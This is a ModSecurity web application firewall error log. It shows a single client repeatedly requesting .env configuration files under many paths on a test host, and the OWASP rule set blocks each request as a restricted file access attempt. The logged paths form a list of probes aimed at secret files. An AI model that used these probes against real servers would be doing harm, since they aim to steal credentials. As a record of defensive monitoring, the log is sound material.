[Fri Dec 05 14:57:03.019875 2025] [:error] [pid 535951] [client 45.148.10.247:54396] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTLkr9HtcJZozOttqkxFZQAAAAQ&quot;]
[Fri Dec 05 14:57:03.020139 2025] [:error] [pid 535951] [client 45.148.10.247:54396] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTLkr9HtcJZozOttqkxFZQAAAAQ&quot;]
[Fri Dec 05 14:57:47.188457 2025] [:error] [pid 531700] [client 45.148.10.247:36700] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /portal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aTLk2_jYAO6Jy5EVgXUuswAAAIM&quot;]
[Fri Dec 05 14:57:47.188802 2025] [:error] [pid 531700] [client 45.148.10.247:36700] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aTLk2_jYAO6Jy5EVgXUuswAAAIM&quot;]
[Fri Dec 05 14:57:47.189070 2025] [:error] [pid 531700] [client 45.148.10.247:36700] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aTLk2_jYAO6Jy5EVgXUuswAAAIM&quot;]
[Fri Dec 05 14:57:47.260070 2025] [:error] [pid 531700] [client 45.148.10.247:36700] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aTLk2_jYAO6Jy5EVgXUutAAAAIM&quot;]
[Fri Dec 05 14:57:47.260328 2025] [:error] [pid 531700] [client 45.148.10.247:36700] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aTLk2_jYAO6Jy5EVgXUutAAAAIM&quot;]
[Fri Dec 05 14:57:47.260548 2025] [:error] [pid 531700] [client 45.148.10.247:36700] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aTLk2_jYAO6Jy5EVgXUutAAAAIM&quot;]
[Fri Dec 05 14:57:47.321088 2025] [:error] [pid 531700] [client 45.148.10.247:36700] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aTLk2_jYAO6Jy5EVgXUutQAAAIM&quot;]
[Fri Dec 05 14:57:47.321461 2025] [:error] [pid 531700] [client 45.148.10.247:36700] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aTLk2_jYAO6Jy5EVgXUutQAAAIM&quot;]
[Fri Dec 05 14:57:47.321737 2025] [:error] [pid 531700] [client 45.148.10.247:36700] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aTLk2_jYAO6Jy5EVgXUutQAAAIM&quot;]
[Fri Dec 05 14:57:47.611693 2025] [:error] [pid 531700] [client 45.148.10.247:36700] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aTLk2_jYAO6Jy5EVgXUutgAAAIM&quot;]
[Fri Dec 05 14:57:47.611940 2025] [:error] [pid 531700] [client 45.148.10.247:36700] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aTLk2_jYAO6Jy5EVgXUutgAAAIM&quot;]
[Fri Dec 05 14:57:47.612143 2025] [:error] [pid 531700] [client 45.148.10.247:36700] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aTLk2_jYAO6Jy5EVgXUutgAAAIM&quot;]
[Fri Dec 05 14:57:50.757969 2025] [:error] [pid 532218] [client 45.148.10.247:47380] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aTLk3hxEmzMMD18wwRgEywAAAAI&quot;]
[Fri Dec 05 14:57:50.758205 2025] [:error] [pid 532218] [client 45.148.10.247:47380] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aTLk3hxEmzMMD18wwRgEywAAAAI&quot;]
[Fri Dec 05 14:57:50.758425 2025] [:error] [pid 532218] [client 45.148.10.247:47380] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aTLk3hxEmzMMD18wwRgEywAAAAI&quot;]
[Fri Dec 05 14:57:55.546302 2025] [:error] [pid 535951] [client 45.148.10.247:47386] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aTLk49HtcJZozOttqkxFZgAAAAQ&quot;]
[Fri Dec 05 14:57:55.546593 2025] [:error] [pid 535951] [client 45.148.10.247:47386] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aTLk49HtcJZozOttqkxFZgAAAAQ&quot;]
[Fri Dec 05 14:57:55.546772 2025] [:error] [pid 535951] [client 45.148.10.247:47386] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aTLk49HtcJZozOttqkxFZgAAAAQ&quot;]
[Fri Dec 05 14:57:55.572795 2025] [:error] [pid 535951] [client 45.148.10.247:47386] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aTLk49HtcJZozOttqkxFZwAAAAQ&quot;]
[Fri Dec 05 14:57:55.573136 2025] [:error] [pid 535951] [client 45.148.10.247:47386] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aTLk49HtcJZozOttqkxFZwAAAAQ&quot;]
[Fri Dec 05 14:57:55.573381 2025] [:error] [pid 535951] [client 45.148.10.247:47386] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aTLk49HtcJZozOttqkxFZwAAAAQ&quot;]
[Fri Dec 05 14:57:55.599318 2025] [:error] [pid 535951] [client 45.148.10.247:47386] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aTLk49HtcJZozOttqkxFaAAAAAQ&quot;]
[Fri Dec 05 14:57:55.599692 2025] [:error] [pid 535951] [client 45.148.10.247:47386] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aTLk49HtcJZozOttqkxFaAAAAAQ&quot;]
[Fri Dec 05 14:57:55.599957 2025] [:error] [pid 535951] [client 45.148.10.247:47386] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aTLk49HtcJZozOttqkxFaAAAAAQ&quot;]
[Fri Dec 05 14:57:57.182591 2025] [:error] [pid 539898] [client 45.148.10.247:47396] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aTLk5RcSsEDF2yyu7t4JeQAAAAM&quot;]
[Fri Dec 05 14:57:57.182860 2025] [:error] [pid 539898] [client 45.148.10.247:47396] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aTLk5RcSsEDF2yyu7t4JeQAAAAM&quot;]
[Fri Dec 05 14:57:57.183061 2025] [:error] [pid 539898] [client 45.148.10.247:47396] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aTLk5RcSsEDF2yyu7t4JeQAAAAM&quot;]
[Fri Dec 05 14:57:58.911770 2025] [:error] [pid 539898] [client 45.148.10.247:47396] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aTLk5hcSsEDF2yyu7t4JegAAAAM&quot;]
[Fri Dec 05 14:57:58.912104 2025] [:error] [pid 539898] [client 45.148.10.247:47396] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aTLk5hcSsEDF2yyu7t4JegAAAAM&quot;]
[Fri Dec 05 14:57:58.912363 2025] [:error] [pid 539898] [client 45.148.10.247:47396] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aTLk5hcSsEDF2yyu7t4JegAAAAM&quot;]
[Fri Dec 05 14:58:18.116082 2025] [:error] [pid 540813] [client 45.148.10.247:60984] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /awstats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aTLk-pXmnoT-oA3DSHqZRgAAAAA&quot;]
